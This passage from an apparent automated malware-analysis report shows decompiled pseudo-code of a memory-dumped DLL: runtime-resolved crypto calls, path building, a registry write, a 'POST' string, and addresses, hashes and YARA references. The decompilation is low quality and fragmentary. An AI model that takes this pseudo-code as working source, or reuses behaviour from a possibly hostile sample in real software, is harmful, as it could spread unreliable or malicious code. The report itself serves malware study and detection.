									_t172 =  *0x6bb5e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t172 + 0x18))() == 0) {
										L18:
										GetLastError();
										goto L19;
									}
									_v16 = _v16 | 0x00003380;
									_push(4);
									_push( &_v16);
									_t176 =  *0x6bb5e6a4; // 0x0
									_push(0x1f);
									_push(_t216);
									if( *((intOrPtr*)(_t176 + 0x14))() != 0) {
										goto L19;
									}
									goto L18;
								} else {
									GetLastError();
									L23:
									_t164 =  *0x6bb5e6a4; // 0x0
									 *((intOrPtr*)(_t164 + 8))(_t186);
									_t186 = 0;
									goto L24;
								}
							} else {
								GetLastError();
								L24:
								_t166 =  *0x6bb5e6a4; // 0x0
								 *((intOrPtr*)(_t166 + 8))(_t213);
								_t213 = 0;
								goto L25;
							}
						}
						GetLastError();
						L25:
						_t204 = _t218;
						_t209 = _v20 + 1;
						_v20 = _t209;
					} while (_t209 < 2);
					_v8 = _t218;
					if(_t204 != 0) {
						goto L28;
					}
					_t220 = 0xfffffffe;
					goto L33;
				}
				_t183 = 0xfffffffc;
				return _t183;
			}

0x6bb4e6b3
0x6bb4e6c5
0x6bb4e6ce
0x6bb4e6d8
0x6bb4e6dc
0x6bb4e6ed
0x6bb4e704
0x6bb4e711
0x6bb4e71e
0x6bb4e72b
0x6bb4e72e
0x6bb4e733
0x6bb4e738
0x6bb4e73a
0x6bb4e742
0x6bb4e74d
0x6bb4e754
0x6bb4e760
0x6bb4e763
0x6bb4e771
0x6bb4e774
0x6bb4e77a
0x6bb4e77b
0x6bb4e77d
0x6bb4e786
0x6bb4e787
0x6bb4e78c
0x6bb4e792
0x6bb4e79c
0x6bb4e79e
0x6bb4e7a3
0x6bb4e7a3
0x6bb4e7b2
0x6bb4e7c1
0x6bb4e7c5
0x6bb4e7d4
0x6bb4e7d7
0x6bb4e7dc
0x6bb4e7e0
0x6bb4e7e7
0x6bb4e7ee
0x6bb4e7f6
0x6bb4e7fe
0x6bb4e805
0x6bb4e80d
0x6bb4e815
0x6bb4e81c
0x6bb4e824
0x6bb4e82c
0x6bb4e841
0x6bb4e84e
0x6bb4e850
0x6bb4e855
0x6bb4e855
0x6bb4e85c
0x6bb4e86d
0x6bb4e872
0x6bb4e874
0x6bb4e874
0x6bb4e888
0x6bb4e89a
0x6bb4e89c
0x6bb4e89f
0x6bb4e8a4
0x6bb4e8a4
0x6bb4e8ab
0x6bb4e8ba
0x6bb4e8be
0x6bb4e8fc
0x6bb4e901
0x6bb4e909
0x6bb4e90e
0x6bb4e919
0x6bb4e91f
0x6bb4e929
0x6bb4e92c
0x6bb4e935
0x6bb4e93a
0x6bb4e93a
0x6bb4e943
0x6bb4e98c
0x6bb4e98e
0x6bb4e995
0x6bb4e996
0x6bb4e999
0x6bb4e99f
0x6bb4e9a3
0x6bb4e9a4
0x6bb4e9a9
0x6bb4e9ab
0x6bb4e9b1
0x6bb4e9c6
0x6bb4e9ce
0x6bb4ea03
0x6bb4ea08
0x6bb4ea0d
0x00000000
0x6bb4ea0f
0x6bb4e9d0
0x6bb4e9d2
0x6bb4e9d2
0x6bb4e9db
0x6bb4e9de
0x6bb4e9e0
0x6bb4e9e2
0x6bb4e9e8
0x6bb4e9e8
0x6bb4e9ed
0x6bb4e9ef
0x6bb4e9f6
0x6bb4e9f6
0x00000000
0x6bb4e9f9
0x6bb4e9b3
0x6bb4e9bb
0x00000000
0x6bb4e945
0x6bb4e945
0x6bb4e94b
0x6bb4e951
0x6bb4e954
0x00000000
0x6bb4e954
0x6bb4e943
0x6bb4e8c0
0x6bb4e8c6
0x6bb4e8ca
0x6bb4e8cb
0x6bb4e8d0
0x6bb4e8d2
0x6bb4e8d8
0x6bb4e8f6
0x6bb4e8f6
0x00000000
0x6bb4e8f6
0x6bb4e8da
0x6bb4e8e4
0x6bb4e8e6
0x6bb4e8e7
0x6bb4e8ec
0x6bb4e8ee
0x6bb4e8f4
0x00000000
0x00000000
0x00000000
0x6bb4e8ad
0x6bb4e8ad
0x6bb4e956
0x6bb4e956
0x6bb4e95c
0x6bb4e95f
0x00000000
0x6bb4e95f
0x6bb4e85e
0x6bb4e85e
0x6bb4e961
0x6bb4e961
0x6bb4e967
0x6bb4e96a
0x00000000
0x6bb4e96a
0x6bb4e85c
0x6bb4e7c7
0x6bb4e96c
0x6bb4e96f
0x6bb4e971
0x6bb4e974
0x6bb4e977
0x6bb4e980
0x6bb4e985
0x00000000
0x00000000
0x6bb4e989
0x00000000
0x6bb4e989
0x6bb4e796
0x00000000

APIs

memset.MSVCRT ref: 6BB4E6DC
memset.MSVCRT ref: 6BB4E6ED
memset.MSVCRT ref: 6BB4E742
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,000007D0,00000000), ref: 6BB4E7C7

Strings

POST, xrefs: 6BB4E88D

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ErrorLast
String ID: POST
API String ID: 2570506013-1814004025
Opcode ID: 3e8e6e00c579ccc3436230aab219e9928db54de60fd69ba681e02f3d2d13e45c
Instruction ID: a97bd623d31552aac213544d2e2096bf1d34455a35c7e31ec64d68cc2e81a4d5
Opcode Fuzzy Hash: 3e8e6e00c579ccc3436230aab219e9928db54de60fd69ba681e02f3d2d13e45c
Instruction Fuzzy Hash: 00B14C72910218EFDF04DFA4C989AAE7BB8FF49314F104069F505EB290DB78DA45DB61

Uniqueness

Uniqueness Score: -1.00%

Function 6BB516F0, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 70
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E6BB516F0(signed int* _a4) {
				char _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				char _v20;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t17;
				void* _t22;
				intOrPtr* _t28;
				signed int _t29;
				signed int _t30;
				struct HINSTANCE__* _t32;
				void* _t34;

				_t30 = 0;
				_v8 = 0;
				_t32 = GetModuleHandleA("advapi32.dll");
				if(_t32 == 0) {
					L9:
					return 1;
				}
				_t16 = GetProcAddress(_t32, "CryptAcquireContextA");
				_v12 = _t16;
				if(_t16 == 0) {
					goto L9;
				}
				_t17 = GetProcAddress(_t32, "CryptGenRandom");
				_v16 = _t17;
				if(_t17 == 0) {
					goto L9;
				}
				_t28 = GetProcAddress(_t32, "CryptReleaseContext");
				if(_t28 == 0) {
					goto L9;
				}
				_push(0xf0000000);
				_push(1);
				_push(0);
				_push(0);
				_push( &_v8);
				if(_v12() == 0) {
					goto L9;
				}
				_t22 = _v16(_v8, 4,  &_v20);
				 *_t28(_v8, 0);
				if(_t22 == 0) {
					goto L9;
				}
				_t29 = 0;
				do {
					_t30 = _t30 << 0x00000008 |  *(_t34 + _t29 - 0x10) & 0x000000ff;
					_t29 = _t29 + 1;
				} while (_t29 < 4);
				 *_a4 = _t30;
				return 0;
			}

0x6bb516f9
0x6bb51700
0x6bb51709
0x6bb5170d
0x6bb51788
0x00000000
0x6bb5178a
0x6bb5171b
0x6bb5171d
0x6bb51722
0x00000000
0x00000000
0x6bb5172a
0x6bb5172c
0x6bb51731
0x00000000
0x00000000
0x6bb5173b
0x6bb5173f
0x00000000
0x00000000
0x6bb51741
0x6bb51746
0x6bb51748
0x6bb51749
0x6bb5174d
0x6bb51753
0x00000000
0x00000000
0x6bb5175e
0x6bb51767
0x6bb5176b
0x00000000
0x00000000
0x6bb5176d
0x6bb5176f
0x6bb51777
0x6bb51779
0x6bb5177a
0x6bb51782
0x00000000

APIs

GetModuleHandleA.KERNEL32(advapi32.dll,00000000,00000000,00000000,6BB4763B,?,?,00000000,?), ref: 6BB51703
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,?,00000000,?), ref: 6BB5171B
GetProcAddress.KERNEL32(00000000,CryptGenRandom,?,?,00000000,?), ref: 6BB5172A
GetProcAddress.KERNEL32(00000000,CryptReleaseContext,?,?,00000000,?), ref: 6BB51739

Strings

CryptGenRandom, xrefs: 6BB51724
advapi32.dll, xrefs: 6BB516FB
CryptAcquireContextA, xrefs: 6BB51715
CryptReleaseContext, xrefs: 6BB51733

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$HandleModule
String ID: CryptAcquireContextA$CryptGenRandom$CryptReleaseContext$advapi32.dll
API String ID: 667068680-129414566
Opcode ID: 5d5c1fef19edc1a0f5842dcb60620f001058e7774ad7aa2dc9390e77984dcccc
Instruction ID: 4bfaa5dd12c811b3b9e99d125154732703a0700f45a2f1278e3a49ff2e780dc9
Opcode Fuzzy Hash: 5d5c1fef19edc1a0f5842dcb60620f001058e7774ad7aa2dc9390e77984dcccc
Instruction Fuzzy Hash: E4118A779106A9BBDB525EBD8C84EAF7BFDEF45641F0400A4EA11E3140D638C9118A66

Uniqueness

Uniqueness Score: -1.00%

Function 6BB5215A, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 98
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6BB5215A(char* _a4, intOrPtr _a8, long long _a12, signed int _a20) {
				signed int _t12;
				signed int _t13;
				int _t15;
				char* _t24;
				char* _t26;
				char* _t28;
				char* _t29;
				signed int _t40;
				char* _t43;
				char* _t45;
				long long* _t47;

				_t12 = _a20;
				if(_t12 == 0) {
					_t12 = 0x11;
				}
				_t26 = _a4;
				_push(_t30);
				 *_t47 = _a12;
				_push(_t12);
				_push("%.*g");
				_push(_a8);
				_push(_t26);
				L6BB522BD();
				_t40 = _t12;
				if(_t40 < 0 || _t40 >= _a8) {
					L19:
					_t13 = _t12 | 0xffffffff;
					goto L20;
				} else {
					L6BB52305();
					_t15 =  *((intOrPtr*)( *_t12));
					if(_t15 != 0x2e) {
						_t24 = strchr(_t26, _t15);
						if(_t24 != 0) {
							 *_t24 = 0x2e;
						}
					}
					if(strchr(_t26, 0x2e) != 0 || strchr(_t26, 0x65) != 0) {
						L11:
						_t43 = strchr(_t26, 0x65);
						_t28 = _t43;
						if(_t43 == 0) {
							L18:
							_t13 = _t40;
							L20:
							return _t13;
						}
						_t45 = _t43 + 1;
						_t29 = _t28 + 2;
						if( *_t45 == 0x2d) {
							_t45 = _t29;
						}
						while( *_t29 == 0x30) {
							_t29 = _t29 + 1;
						}
						if(_t29 != _t45) {
							E6BB486E7(_t45, _t29, _t40 - _t29 + _a4);
							_t40 = _t40 + _t45 - _t29;
						}
						goto L18;
					} else {
						_t6 = _t40 + 3; // 0x6bb509ea
						_t12 = _t6;
						if(_t12 >= _a8) {
							goto L19;
						}
						_t26[_t40] = 0x302e;
						( &(_t26[2]))[_t40] = 0;
						_t40 = _t40 + 2;
						goto L11;
					}
				}
			}

0x6bb5215d
0x6bb52162
0x6bb52166
0x6bb52166
0x6bb5216b
0x6bb52170
0x6bb52171
0x6bb52174
0x6bb52175
0x6bb5217a
0x6bb5217d
0x6bb5217e
0x6bb52183
0x6bb5218a
0x6bb52230
0x6bb52230
0x00000000
0x6bb52199
0x6bb52199
0x6bb521a0
0x6bb521a4
0x6bb521ab
0x6bb521b4
0x6bb521b6
0x6bb521b6
0x6bb521b4
0x6bb521c5
0x6bb521eb
0x6bb521f4
0x6bb521f6
0x6bb521fc
0x6bb5222b
0x6bb5222b
0x6bb52233
0x6bb52236
0x6bb52236
0x6bb521fe
0x6bb521ff
0x6bb52205
0x6bb52207
0x6bb52207
0x6bb5220c
0x6bb5220b
0x6bb5220b
0x6bb52213
0x6bb5221f
0x6bb52229
0x6bb52229
0x00000000
0x6bb521d5
0x6bb521d5
0x6bb521d5
0x6bb521db
0x00000000
0x00000000
0x6bb521dd
0x6bb521e3
0x6bb521e8
0x00000000
0x6bb521e8
0x6bb521c5

APIs

_snprintf.MSVCRT ref: 6BB5217E
localeconv.MSVCRT ref: 6BB52199
strchr.MSVCRT ref: 6BB521AB
strchr.MSVCRT ref: 6BB521BC
strchr.MSVCRT ref: 6BB521CA
strchr.MSVCRT ref: 6BB521EF

Strings

%.*g, xrefs: 6BB52175

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: strchr$_snprintflocaleconv
String ID: %.*g
API String ID: 1910550357-952554281
Opcode ID: 9543b2fca5cf6d75ade24a6bfef21f37065ca4c88e2d8049e2dbbdb2af81d189
Instruction ID: 2551c5389f00f6a7f1140cad815889e3c1abb929f89077ff4ee33f132fc39f55
Opcode Fuzzy Hash: 9543b2fca5cf6d75ade24a6bfef21f37065ca4c88e2d8049e2dbbdb2af81d189
Instruction Fuzzy Hash: A0217B7F646EC92AD3154E78ECC2B5B379CDF05720F100045FA14CA281EB7ED92082A3

Uniqueness

Uniqueness Score: -1.00%

Function 6BB502EA, Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 445COMMON

Download Yara Rule

APIs

_snprintf.MSVCRT ref: 6BB5036A
qsort.MSVCRT ref: 6BB505E8

Strings

null, xrefs: 6BB5032F
%I64d, xrefs: 6BB5035C
false, xrefs: 6BB5034D
true, xrefs: 6BB50341

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: _snprintfqsort
String ID: %I64d$false$null$true
API String ID: 756996078-4285102228
Opcode ID: b2d2a3ee751fec89b0adf3e2e05a280cd6c2867b46efd384f8ff1880c98df794
Instruction ID: 77961d7f37467e3b2bc63d2b24f14bede6b62eefc5d11028283b9f8db0a6aaa5
Opcode Fuzzy Hash: b2d2a3ee751fec89b0adf3e2e05a280cd6c2867b46efd384f8ff1880c98df794
Instruction Fuzzy Hash: 56E16A7290028ABFDF019F64CC42EAF3B79EF49348F848059FD1496150E739D9709BA6

Uniqueness

Uniqueness Score: -1.00%

Function 6BB449FE, Relevance: 9.3, APIs: 6, Instructions: 285
stringCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E6BB449FE(void* __ecx, void* __edx, void* __fp0, intOrPtr* _a4, WCHAR* _a8, signed int _a12) {
				char _v516;
				void _v1044;
				char _v1076;
				signed int _v1080;
				signed int _v1096;
				WCHAR* _v1100;
				intOrPtr _v1104;
				signed int _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				char _v1144;
				char _v1148;
				void* __esi;
				intOrPtr _t66;
				intOrPtr _t73;
				signed int _t75;
				intOrPtr _t76;
				signed int _t81;
				WCHAR* _t87;
				void* _t89;
				signed int _t90;
				signed int _t91;
				signed int _t93;
				signed int _t94;
				WCHAR* _t96;
				intOrPtr _t106;
				intOrPtr _t107;
				void* _t108;
				intOrPtr _t109;
				signed char _t116;
				WCHAR* _t118;
				void* _t122;
				signed int _t123;
				intOrPtr _t125;
				void* _t128;
				void* _t129;
				WCHAR* _t130;
				void* _t134;
				void* _t141;
				void* _t143;
				WCHAR* _t145;
				signed int _t153;
				void* _t154;
				void* _t178;
				signed int _t180;
				void* _t181;
				void* _t183;
				void* _t187;
				signed int _t188;
				WCHAR* _t190;
				signed int _t191;
				signed int _t192;
				intOrPtr* _t194;
				signed int _t196;
				void* _t199;
				void* _t200;
				void* _t201;
				void* _t202;
				intOrPtr* _t203;
				void* _t208;

				_t208 = __fp0;
				_push(_t191);
				_t128 = __edx;
				_t187 = __ecx;
				_t192 = _t191 | 0xffffffff;
				memset( &_v1044, 0, 0x20c);
				_t199 = (_t196 & 0xfffffff8) - 0x454 + 0xc;
				_v1108 = 1;
				if(_t187 != 0) {
					_t123 =  *0x6bb5e688; // 0x2a40590
					_t3 = _t123 + 0x110; // 0x2abfd98
					_t125 =  *0x6bb5e68c; // 0x2abfc68
					_v1116 =  *((intOrPtr*)(_t125 + 0x68))(_t187,  *((intOrPtr*)( *_t3)));
				}
				if(E6BB4BBCF(_t187) != 0) {
					L4:
					_t134 = _t128;
					_t66 = E6BB4B7EA(_t134,  &_v516);
					_push(_t134);
					_v1104 = _t66;
					E6BB4B6BF(_t66,  &_v1076, _t206, _t208);
					_t129 = E6BB449BA( &_v1076,  &_v1076, _t206);
					_t141 = E6BB4D442( &_v1076, E6BB4C3BB( &_v1076), 0);
					E6BB4B8CC(_t141,  &_v1100, _t208);
					_t175 =  &_v1076;
					_t73 = E6BB42C82(_t187,  &_v1076, _t206, _t208);
					_v1112 = _t73;
					_t143 = _t141;
					if(_t73 != 0) {
						_push(0);
						_push(_t129);
						_push("\\");
						_t130 = E6BB492C6(_t73);
						_t200 = _t199 + 0x10;
						_t75 =  *0x6bb5e688; // 0x2a40590
						__eflags =  *((intOrPtr*)(_t75 + 0x214)) - 3;
						if( *((intOrPtr*)(_t75 + 0x214)) != 3) {
							L12:
							__eflags = _v1108;
							if(__eflags != 0) {
								_t76 = E6BB491C4(_v1112);
								_t145 = _t130;
								 *0x6bb5e740 = _t76;
								 *0x6bb5e738 = E6BB491C4(_t145);
								L17:
								_push(_t145);
								_t188 = E6BB49B24( &_v1044, _t187, _t208, _v1104,  &_v1080,  &_v1100);
								_t201 = _t200 + 0x10;
								__eflags = _t188;
								if(_t188 == 0) {
									goto L41;
								}
								_push(0x6bb5b9c6);
								E6BB49F13(0xe);
								E6BB49F37(_t188, _t208, _t130);
								_t194 = _a4;
								_v1096 = _v1096 & 0x00000000;
								_push(2);
								_v1100 =  *_t194;
								_push(8);
								_push( &_v1100);
								_t178 = 0xb;
								E6BB4A076(_t188, _t178, _t208);
								_t179 =  *(_t194 + 0x10);
								_t202 = _t201 + 0xc;
								__eflags =  *(_t194 + 0x10);
								if( *(_t194 + 0x10) != 0) {
									E6BB4A3D8(_t188, _t179, _t208);
								}
								_t180 =  *(_t194 + 0xc);
								__eflags = _t180;
								if(_t180 != 0) {
									E6BB4A3D8(_t188, _t180, _t208);
								}
								_t87 = E6BB497ED(0);
								_push(2);
								_v1100 = _t87;
								_t153 = _t188;
								_push(8);
								_v1096 = _t180;
								_push( &_v1100);
								_t181 = 2;
								_t89 = E6BB4A076(_t153, _t181, _t208);
								_t203 = _t202 + 0xc;
								__eflags = _v1108;
								if(_v1108 == 0) {
									_t153 =  *0x6bb5e688; // 0x2a40590
									__eflags =  *((intOrPtr*)(_t153 + 0xa4)) - 1;
									if(__eflags != 0) {
										_t90 = E6BB4FC57(_t89, _t181, _t208, 0, _t130, 0);
										_t203 = _t203 + 0xc;
										goto L26;
									}
									_t153 = _t153 + 0x228;
									goto L25;
								} else {
									_t91 =  *0x6bb5e688; // 0x2a40590
									__eflags =  *((intOrPtr*)(_t91 + 0xa4)) - 1;
									if(__eflags != 0) {
										L32:
										__eflags =  *(_t91 + 0x1898) & 0x00000082;
										if(( *(_t91 + 0x1898) & 0x00000082) != 0) {
											_t183 = 0x64;
											E6BB4E280(_t183);
										}
										E6BB452B3( &_v1076, _t208);
										_t190 = _a8;
										_t154 = _t153;
										__eflags = _t190;
										if(_t190 != 0) {
											_t94 =  *0x6bb5e688; // 0x2a40590
											__eflags =  *((intOrPtr*)(_t94 + 0xa0)) - 1;
											if( *((intOrPtr*)(_t94 + 0xa0)) != 1) {
												lstrcpyW(_t190, _t130);
											} else {
												_t96 = E6BB4109A(_t154, 0x228);
												_v1100 = _t96;
												lstrcpyW(_t190, _t96);
												E6BB485B6( &_v1100);
												 *_t203 = "\"";
												lstrcatW(_t190, ??);
												lstrcatW(_t190, _t130);
												lstrcatW(_t190, "\"");
											}
										}
										_t93 = _a12;
										__eflags = _t93;
										if(_t93 != 0) {
											 *_t93 = _v1104;
										}
										_t192 = 0;
										__eflags = 0;
										goto L41;
									}
									_t51 = _t91 + 0x228; // 0x2a407b8
									_t153 = _t51;
									L25:
									_t90 = E6BB45532(_t153, _t130, __eflags);
									L26:
									__eflags = _t90;
									if(_t90 >= 0) {
										_t91 =  *0x6bb5e688; // 0x2a40590
										goto L32;
									}
									_push(0xfffffffd);
									L6:
									_pop(_t192);
									goto L41;
								}
							}
							_t106 = E6BB4C2D4(_v1104, __eflags);
							_v1112 = _t106;
							_t107 =  *0x6bb5e684; // 0x2abfaa0
							_t108 =  *((intOrPtr*)(_t107 + 0xd0))(_t106, 0x80003, 6, 0xff, 0x400, 0x400, 0, 0);
							__eflags = _t108 - _t192;
							if(_t108 != _t192) {
								_t109 =  *0x6bb5e684; // 0x2abfaa0
								 *((intOrPtr*)(_t109 + 0x30))();
								E6BB485FB( &_v1148, _t192);
								_t145 = _t108;
								goto L17;
							}
							E6BB485FB( &_v1144, _t192);
							_t81 = 1;
							goto L42;
						}
						_t17 = _t75 + 0x1898; // 0x0
						_t116 =  *_t17;
						__eflags = _t116 & 0x00000004;
						if((_t116 & 0x00000004) == 0) {
							__eflags = _t116;
							if(_t116 != 0) {
								goto L12;
							}
							L11:
							E6BB4E2C8(_v1112, _t175);
							goto L12;
						}
						_v1080 = _v1080 & 0x00000000;
						_t118 = E6BB495C2(_t143, 0x879);
						_v1100 = _t118;
						_t175 = _t118;
						E6BB4C02E(0x80000002, _t118, _v1112, 4,  &_v1080, 4);
						E6BB485B6( &_v1100);
						_t200 = _t200 + 0x14;
						goto L11;
					}
					_push(0xfffffffe);
					goto L6;
				} else {
					_t122 = E6BB42B97( &_v1044, _t192, 0x105);
					_t206 = _t122;
					if(_t122 == 0) {
						L41:
						_t81 = _t192;
						L42:
						return _t81;
					}
					goto L4;
				}
			}

0x6bb449fe
0x6bb44a0b
0x6bb44a16
0x6bb44a1b
0x6bb44a1d
0x6bb44a20
0x6bb44a25
0x6bb44a28
0x6bb44a32
0x6bb44a34
0x6bb44a39
0x6bb44a41
0x6bb44a4a
0x6bb44a4a
0x6bb44a57
0x6bb44a72
0x6bb44a79
0x6bb44a7b
0x6bb44a80
0x6bb44a85
0x6bb44a8b
0x6bb44a9a
0x6bb44ab9
0x6bb44abb
0x6bb44ac1
0x6bb44ac7
0x6bb44acc
0x6bb44ad0
0x6bb44ad3
0x6bb44add
0x6bb44adf
0x6bb44ae0
0x6bb44aeb
0x6bb44aed
0x6bb44af0
0x6bb44af5
0x6bb44afc
0x6bb44b51
0x6bb44b51
0x6bb44b56
0x6bb44bbd
0x6bb44bc2
0x6bb44bc4
0x6bb44bce
0x6bb44bd3
0x6bb44bd3
0x6bb44bed
0x6bb44bef
0x6bb44bf2
0x6bb44bf4
0x00000000
0x00000000
0x6bb44bfa
0x6bb44c04
0x6bb44c0d
0x6bb44c12
0x6bb44c15
0x6bb44c1b
0x6bb44c21
0x6bb44c29
0x6bb44c2b
0x6bb44c2e
0x6bb44c2f
0x6bb44c34
0x6bb44c37
0x6bb44c3a
0x6bb44c3c
0x6bb44c40
0x6bb44c40
0x6bb44c45
0x6bb44c48
0x6bb44c4a
0x6bb44c4e
0x6bb44c4e
0x6bb44c55
0x6bb44c5a
0x6bb44c5c
0x6bb44c60
0x6bb44c62
0x6bb44c68
0x6bb44c6c
0x6bb44c6f
0x6bb44c70
0x6bb44c75
0x6bb44c78
0x6bb44c7d
0x6bb44ca5
0x6bb44cab
0x6bb44cb2
0x6bb44cc1
0x6bb44cc6
0x00000000
0x6bb44cc6
0x6bb44cb4
0x00000000
0x6bb44c7f
0x6bb44c7f
0x6bb44c84
0x6bb44c8b
0x6bb44cd0
0x6bb44cd0
0x6bb44cd7
0x6bb44cdb
0x6bb44cdc
0x6bb44cdc
0x6bb44ce6
0x6bb44ceb
0x6bb44cee
0x6bb44cef
0x6bb44cf1
0x6bb44cf3
0x6bb44cf8
0x6bb44cff
0x6bb44d42
0x6bb44d01
0x6bb44d06
0x6bb44d0e
0x6bb44d12
0x6bb44d1d
0x6bb44d28
0x6bb44d30
0x6bb44d34
0x6bb44d3c
0x6bb44d3c
0x6bb44cff
0x6bb44d48
0x6bb44d4b
0x6bb44d4d
0x6bb44d53
0x6bb44d53
0x6bb44d55
0x6bb44d55
0x00000000
0x6bb44d55
0x6bb44c8d
0x6bb44c8d
0x6bb44c93
0x6bb44c95
0x6bb44c9a
0x6bb44c9a
0x6bb44c9c
0x6bb44ccb
0x00000000
0x6bb44ccb
0x6bb44c9e
0x6bb44ad7
0x6bb44ad7
0x00000000
0x6bb44ad7
0x6bb44c7d
0x6bb44b5c
0x6bb44b6a
0x6bb44b7d
0x6bb44b82
0x6bb44b88
0x6bb44b8a
0x6bb44ba2
0x6bb44ba7
0x6bb44bb0
0x6bb44bb6
0x00000000
0x6bb44bb6
0x6bb44b92
0x6bb44b9b
0x00000000
0x6bb44b9b
0x6bb44afe
0x6bb44afe
0x6bb44b04
0x6bb44b06
0x6bb44b44
0x6bb44b46
0x00000000
0x00000000
0x6bb44b48
0x6bb44b4c
0x00000000
0x6bb44b4c
0x6bb44b08
0x6bb44b12
0x6bb44b1e
0x6bb44b29
0x6bb44b30
0x6bb44b3a
0x6bb44b3f
0x00000000
0x6bb44b3f
0x6bb44ad5
0x00000000
0x6bb44a59
0x6bb44a64
0x6bb44a6a
0x6bb44a6c
0x6bb44d57
0x6bb44d57
0x6bb44d59
0x6bb44d5f
0x6bb44d5f
0x00000000
0x6bb44a6c

APIs

memset.MSVCRT ref: 6BB44A20
lstrcpyW.KERNEL32(00000000,00000000), ref: 6BB44D12
lstrcatW.KERNEL32 ref: 6BB44D30
lstrcatW.KERNEL32 ref: 6BB44D34
lstrcatW.KERNEL32 ref: 6BB44D3C
lstrcpyW.KERNEL32(00000000,00000000), ref: 6BB44D42

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcat$lstrcpy$memset
String ID:
API String ID: 1985475764-0
Opcode ID: 2d8ac8c223bee129b7b8e073ee427d97179bbc8ceecd7908714ad39f82875a23
Instruction ID: 46844984120094a8d3b38b1cea646993701c255ec4e07d7353d64461a69b3c1e
Opcode Fuzzy Hash: 2d8ac8c223bee129b7b8e073ee427d97179bbc8ceecd7908714ad39f82875a23
Instruction Fuzzy Hash: C491CE71608380AFE704DF24C846B6E73E9FF85714F00496DF5958B289EFB8D804AB92

Uniqueness

Uniqueness Score: -1.00%

Function 6BB4D78A, Relevance: 9.1, APIs: 6, Instructions: 87memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(00000000), ref: 6BB4D79E
SysAllocString.OLEAUT32(?), ref: 6BB4D7A6
SysAllocString.OLEAUT32(00000000), ref: 6BB4D7BA
SysFreeString.OLEAUT32(?), ref: 6BB4D835
SysFreeString.OLEAUT32(?), ref: 6BB4D838
SysFreeString.OLEAUT32(?), ref: 6BB4D83D

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654824344.000000006BB58000.00000002.00020000.sdmp Download File
Associated: 0000000F.00000002.654829582.000000006BB5D000.00000004.00020000.sdmp Download File
Associated: 0000000F.00000002.654834918.000000006BB5F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 160e078a750e7a234d158361eae74372607a9159b3c80bd1c87a01443af80d55
Instruction ID: 0f82741b24677d66af4c0c5dca295de39f1afb28205a17af70bccd21bf942aac
Opcode Fuzzy Hash: 160e078a750e7a234d158361eae74372607a9159b3c80bd1c87a01443af80d55
Instruction Fuzzy Hash: DD21F975E00218AFDB00DFA9CC88DAFBBBDFF49654B10449AE505E7250DB75AE01DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6BB5082F, Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 158COMMON

Download Yara Rule

Strings

\u%04X, xrefs: 6BB50949
\u%04X\u%04X, xrefs: 6BB50988
@, xrefs: 6BB5089D

Memory Dump Source

Source File: 0000000F.00000002.654812631.000000006BB41000.00000020.00020000.sdmp, Offset: 6BB40000, based on PE: true

Associated: 0000000F.00000002.654808282.000000006BB40000.00000002.00020000.sdmp Download File
